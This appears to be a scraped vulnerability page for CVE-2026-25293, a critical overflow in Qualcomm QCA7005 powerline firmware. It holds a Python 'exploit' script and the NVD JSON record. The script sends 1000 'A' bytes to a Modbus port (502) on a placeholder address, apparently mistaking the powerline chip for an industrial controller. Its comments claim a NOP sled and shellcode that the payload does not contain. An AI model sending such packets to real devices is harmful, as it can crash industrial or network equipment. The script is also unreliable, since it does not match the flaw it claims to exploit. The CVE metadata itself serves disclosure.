CVE-2026-25293

import socket import sys # Target IP and Port (Placeholder) TARGET_IP = "192.168.1.100" TARGET_PORT = 502 # Exploit: Buffer Overflow in PLC FW # Constructs a malformed packet to overflow the buffer def exploit_plc(): try: # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Payload generation # Sending a large amount of data to trigger the overflow # NOP sled + Shellcode + Return Address padding = b"A" * 1000 payload = padding print(f"[+] Sending payload to {TARGET_IP}:{TARGET_PORT}...") s.send(payload) # Receive response (if any) response = s.recv(1024) print("[+] Payload sent. Response received:", response) except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": exploit_plc()

{"cve": {"id": "CVE-2026-25293", "sourceIdentifier": "[email protected]", "published": "2026-05-04T17:16:22.270", "lastModified": "2026-05-06T18:01:11.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer overflow due to incorrect authorization in PLC FW"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:qualcomm:qca7005_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "9EF4F63F-EB75-4795-B679-5369A543451A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:qualcomm:qca7005:-:*:*:*:*:*:*:*", "matchCriteriaId": "411A4F25-B701-4EFB-A2D1-ED9EC7FBF79E"}]}]}], "references": [{"url": "https://docs.qualcomm.com/product/publicresources/securitybulletin/may-2026-bulletin.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}